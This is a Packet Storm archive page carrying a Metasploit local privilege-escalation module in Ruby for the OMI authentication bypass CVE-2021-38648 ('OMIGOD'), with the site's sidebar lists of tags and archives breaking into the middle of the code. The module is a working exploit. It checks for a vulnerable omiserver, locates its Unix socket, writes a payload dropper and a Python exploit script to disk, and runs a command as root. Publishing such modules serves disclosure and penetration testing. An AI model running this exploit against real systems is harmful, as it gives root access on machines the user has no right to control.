Microsoft OMI Management Interface Authentication Bypass

Authored by Spencer McIntyre, Nir Ohfeld, Shir Tamari | Site metasploit.com

Posted Nov 10, 2021

This Metasploit module demonstrates that by removing the authentication exchange, an attacker can issue requests to the local OMI management socket that will cause it to execute an operating system command as the root user. This vulnerability was patched in OMI version 1.6.8-1 (released September 8th 2021).

tags | exploit, local, root
advisories | CVE-2021-38648
SHA-256 | 421ae743686547f1ecd98e3086fa9370482e6a9646a5f30c18b32491b7848309

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Post::Process
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  DEFAULT_SERVER_BIN_PATH = '/opt/omi/bin/omiserver'.freeze
  DEFAULT_SOCKET_PATH = '/var/opt/omi/run/omiserver.sock'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft OMI Management Interface Authentication Bypass',
        'Description' => %q{
          By removing the authentication exchange, an attacker can issue requests to the local OMI management
socket
          that will cause it to execute an operating system command as the root user. This vulnerability was
patched in
          OMI version 1.6.8-1 (released September 8th 2021).
        },
        'References' => [
          ['CVE', '2021-38648'],
          ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648'],
          ['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],
          ['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']
        ],
        'Author' => [
          'Nir Ohfeld', # vulnerability discovery & research
          'Shir Tamari', # vulnerability discovery & research
          'Spencer McIntyre' # metasploit module
        ],
        'DisclosureDate' => '2021-09-14',
        'License' => MSF_LICENSE,
        'Platform' => ['linux', 'unix'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'Payload' => { 'DisableNops' => true, 'Space' => 256 }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'MeterpreterTryToFork' => true
        },
        'Notes' => {
          'AKA' => ['OMIGOD'],
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_advanced_options([
      OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]),
      OptString.new('SocketPath', [ false, 'The path to the OMI server socket.', '' ])
    ])
  end

  def check
    pid = pidof('omiserver').first
    return CheckCode::Safe('The omiserver process was not found.') if pid.nil?

    omiserver_bin = read_file("/proc/#{pid}/cmdline").split("\x00", 2).first
    omiserver_bin = DEFAULT_SERVER_BIN_PATH if omiserver_bin.blank? && file?(DEFAULT_SERVER_BIN_PATH)
    return CheckCode::Unknown('Failed to find the omiserver binary path.') if omiserver_bin.blank?

    vprint_status("Found #{omiserver_bin} running in PID: #{pid}")
    if cmd_exec("#{omiserver_bin} --version") =~ /\sOMI-(\d+(\.\d+){2,3}(-\d+)?)\s/
      version = Regexp.last_match(1)
    else
      return CheckCode::Unknown('Failed to identify the version of the omiserver binary.')
    end

    return CheckCode::Safe("Version #{version} is not affected.") if Rex::Version.new(version) >
Rex::Version.new('1.6.8-0')

    CheckCode::Appears("Version #{version} is affected.")
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    write_file path, data
  ensure
    register_file_for_cleanup(path)
  end

  def find_exec_program
    %w[python python3 python2].select(&method(:command_exists?)).first
  end

  def get_socket_path
    socket_path = datastore['SocketPath']
    return socket_path unless socket_path.blank?

    pid = pidof('omiserver').first
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
    fail_with(Failure::NotFound, 'The omiserver pid was not found.') if pid.nil?

    if read_file("/proc/#{pid}/net/unix") =~ %r{\s(/(\S+)server\.sock)$}
      socket_path = Regexp.last_match(1)
    else
      begin
        socket_path = DEFAULT_SOCKET_PATH if stat(DEFAULT_SOCKET_PATH).socket?
      rescue StandardError # rubocop:disable Lint/SuppressedException
      end
    end

    fail_with(Failure::NotFound, 'The socket path could not be found.') if socket_path.blank?

    vprint_status("Socket path: #{socket_path}")
    socket_path
  end

  def exploit
    python_binary = find_exec_program
    fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary

    vprint_status("Using '#{python_binary}' to run the exploit")
    socket_path = get_socket_path
    path = datastore['WritableDir']
    python_script = rand_text_alphanumeric(5..10) + '.py'

    case target['Type']
    when :unix_cmd
      root_cmd = payload.encoded
    when :linux_dropper
      unless path.start_with?('/')
        # the command will be executed from a different working directory so use an absolute path
        fail_with(Failure::BadConfig, 'The payload path must be an absolute path.')
      end

      payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
      if payload_path.length > 256
        # the Python exploit uses a hard-coded exchange that only allows up to 256 characters to be included in
the
        # command that is executed
        fail_with(Failure::BadConfig, 'The payload path is too long (>256 characters).')
      end

      upload(payload_path, generate_payload_exe)
      cmd_exec("chmod +x '#{payload_path}'")
      root_cmd = payload_path
    end

    upload("#{path}/#{python_script}", exploit_data('CVE-2021-38648', 'cve_2021_38648.py'))
    cmd = "#{python_binary} #{path}/#{python_script} -s '#{socket_path}' '#{root_cmd}'"
    vprint_status("Running #{cmd}")
    output = cmd_exec(cmd)
    vprint_line(output) unless output.blank?
  end
end
```

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Login or Register to add favorites

packet storm

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed